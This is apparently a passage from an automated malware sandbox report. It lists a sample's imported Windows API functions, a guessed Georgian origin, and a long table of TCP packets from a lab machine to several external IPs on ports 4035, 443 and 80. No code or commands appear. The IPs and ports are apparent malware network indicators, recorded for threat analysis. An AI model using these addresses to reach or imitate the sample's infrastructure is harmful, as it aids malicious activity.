TlsGetValue, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, HeapCreate, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, GetStringTypeW, MultiByteToWideChar, LoadLibraryW, WideCharToMultiByte, GetConsoleMode, SetStdHandle, FlushFileBuffers, LCMapStringW, WriteConsoleW, CreateFileW

ADVAPI32.dll

BackupEventLogW, BackupEventLogA, NotifyChangeEventLog, RegQueryValueExA, CloseEventLog

Possible Origin

Language of compilation system	Country where language is spoken	Map
Georgian	Georgia

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 2, 2023 09:49:06.243685961 CEST	49695	4035	192.168.2.4	89.203.249.203
Apr 2, 2023 09:49:06.269283056 CEST	4035	49695	89.203.249.203	192.168.2.4
Apr 2, 2023 09:49:06.784892082 CEST	49695	4035	192.168.2.4	89.203.249.203
Apr 2, 2023 09:49:06.810671091 CEST	4035	49695	89.203.249.203	192.168.2.4
Apr 2, 2023 09:49:07.316245079 CEST	49695	4035	192.168.2.4	89.203.249.203
Apr 2, 2023 09:49:07.342031956 CEST	4035	49695	89.203.249.203	192.168.2.4
Apr 2, 2023 09:49:16.467406988 CEST	49696	4035	192.168.2.4	34.171.171.32
Apr 2, 2023 09:49:16.639790058 CEST	4035	49696	34.171.171.32	192.168.2.4
Apr 2, 2023 09:49:16.639944077 CEST	49696	4035	192.168.2.4	34.171.171.32
Apr 2, 2023 09:49:16.640599012 CEST	49696	4035	192.168.2.4	34.171.171.32
Apr 2, 2023 09:49:16.809276104 CEST	4035	49696	34.171.171.32	192.168.2.4
Apr 2, 2023 09:49:16.810348034 CEST	4035	49696	34.171.171.32	192.168.2.4
Apr 2, 2023 09:49:16.810487986 CEST	49696	4035	192.168.2.4	34.171.171.32
Apr 2, 2023 09:49:16.815412998 CEST	49696	4035	192.168.2.4	34.171.171.32
Apr 2, 2023 09:49:16.984146118 CEST	4035	49696	34.171.171.32	192.168.2.4
Apr 2, 2023 09:49:17.363749981 CEST	49697	443	192.168.2.4	173.231.16.76
Apr 2, 2023 09:49:17.363831997 CEST	443	49697	173.231.16.76	192.168.2.4
Apr 2, 2023 09:49:17.363934994 CEST	49697	443	192.168.2.4	173.231.16.76
Apr 2, 2023 09:49:17.364454031 CEST	49697	443	192.168.2.4	173.231.16.76
Apr 2, 2023 09:49:17.364496946 CEST	443	49697	173.231.16.76	192.168.2.4
Apr 2, 2023 09:49:18.010467052 CEST	443	49697	173.231.16.76	192.168.2.4
Apr 2, 2023 09:49:18.010674000 CEST	49697	443	192.168.2.4	173.231.16.76
Apr 2, 2023 09:49:18.408108950 CEST	49697	443	192.168.2.4	173.231.16.76
Apr 2, 2023 09:49:18.408162117 CEST	443	49697	173.231.16.76	192.168.2.4
Apr 2, 2023 09:49:18.408763885 CEST	443	49697	173.231.16.76	192.168.2.4
Apr 2, 2023 09:49:18.424339056 CEST	49697	443	192.168.2.4	173.231.16.76
Apr 2, 2023 09:49:18.424376965 CEST	443	49697	173.231.16.76	192.168.2.4
Apr 2, 2023 09:49:18.580223083 CEST	443	49697	173.231.16.76	192.168.2.4
Apr 2, 2023 09:49:18.580327988 CEST	443	49697	173.231.16.76	192.168.2.4
Apr 2, 2023 09:49:18.580430031 CEST	49697	443	192.168.2.4	173.231.16.76
Apr 2, 2023 09:49:18.605473042 CEST	49697	443	192.168.2.4	173.231.16.76
Apr 2, 2023 09:49:18.605510950 CEST	443	49697	173.231.16.76	192.168.2.4
Apr 2, 2023 09:49:18.805572033 CEST	49698	443	192.168.2.4	171.25.193.9
Apr 2, 2023 09:49:18.805617094 CEST	443	49698	171.25.193.9	192.168.2.4
Apr 2, 2023 09:49:18.805687904 CEST	49698	443	192.168.2.4	171.25.193.9
Apr 2, 2023 09:49:18.806010008 CEST	49698	443	192.168.2.4	171.25.193.9
Apr 2, 2023 09:49:18.806025028 CEST	443	49698	171.25.193.9	192.168.2.4
Apr 2, 2023 09:49:18.806082010 CEST	443	49698	171.25.193.9	192.168.2.4
Apr 2, 2023 09:49:18.807073116 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.835755110 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.835927010 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.839310884 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.868202925 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.868231058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.868248940 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.868271112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.868302107 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.868319988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.868344069 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.868360043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.868375063 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.868381023 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.868391037 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.868401051 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.868419886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.868423939 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.868439913 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.868467093 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.896956921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.896998882 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897023916 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897052050 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897102118 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897130013 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897144079 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.897157907 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897172928 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.897186041 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897213936 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897219896 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.897241116 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897255898 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.897269964 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897298098 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897315025 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.897325993 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897352934 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897372961 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.897382975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.897450924 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.926065922 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926095963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926115036 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926136971 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926156998 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926177979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926193953 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.926198959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926218987 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926235914 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.926239967 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926259041 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926264048 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.926279068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926299095 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926311970 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.926317930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926337957 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926343918 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.926357985 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926378012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926381111 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.926398039 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926417112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926420927 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.926438093 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926456928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926467896 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.926476002 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926496029 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926507950 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.926515102 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.926538944 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.954902887 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.954931974 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.954952002 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.954972982 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.954993963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955012083 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955014944 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955035925 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955056906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955069065 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955076933 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955086946 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955096960 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955113888 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955116034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955136061 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955163956 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955400944 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955420971 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955442905 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955450058 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955462933 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955482006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955497026 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955502033 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955521107 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955523968 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955558062 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955722094 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955744982 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955765009 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955785036 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955800056 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955805063 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955826044 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955826044 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955845118 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955862999 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955866098 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955885887 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955900908 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955905914 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955925941 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955945015 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955945969 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.955965042 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.955982924 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.983594894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983624935 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983644962 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983658075 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983679056 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983699083 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983720064 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983740091 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983760118 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983772993 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983786106 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983798981 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983813047 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983830929 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983865023 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983885050 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983903885 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983923912 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983943939 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983963013 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.983982086 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984003067 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984021902 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984040976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984061003 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984060049 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.984081030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984100103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984117985 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.984119892 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984139919 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984159946 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984177113 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.984225988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984246016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984266996 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984286070 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984306097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984324932 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984344959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984365940 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984386921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984406948 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984428883 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984447956 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984467983 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984488010 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984509945 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984524012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984535933 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:18.984587908 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:18.984587908 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.012757063 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.012825012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.012855053 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.012881994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.012911081 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.012939930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.012949944 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.012967110 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.012974977 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.012989044 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.012994051 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013021946 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013046026 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013050079 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013077974 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013106108 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013108015 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013135910 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013153076 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013173103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013200998 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013215065 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013231039 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013258934 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013271093 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013286114 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013315916 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013330936 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013343096 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013370037 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013382912 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013398886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013427019 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013436079 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013457060 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013484001 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013495922 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013513088 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013541937 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013554096 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013569117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013597012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013608932 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013624907 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013654947 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013667107 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013681889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013710022 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013721943 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013739109 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013767004 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013782978 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013793945 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013823032 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013851881 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013856888 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013879061 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013890982 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013906002 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013933897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013946056 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.013962030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.013989925 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.014019012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.014034033 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.014046907 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.014062881 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.014075041 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.014102936 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.014117956 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.014131069 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.014167070 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.014178991 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.014198065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.014239073 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.035243034 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.042768955 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.042810917 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.042840958 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.042870045 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.042896032 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.042923927 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.042948961 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.042949915 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.042952061 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.042979956 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.042983055 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043009043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043035984 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043035984 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043062925 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043080091 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043092012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043119907 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043137074 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043147087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043176889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043205023 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043214083 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043235064 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043260098 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043263912 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043292046 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043312073 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043318987 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043346882 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043360949 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043376923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043404102 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043416023 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043435097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043464899 CEST	80	49699	193.23.244.244	192.168.2.4
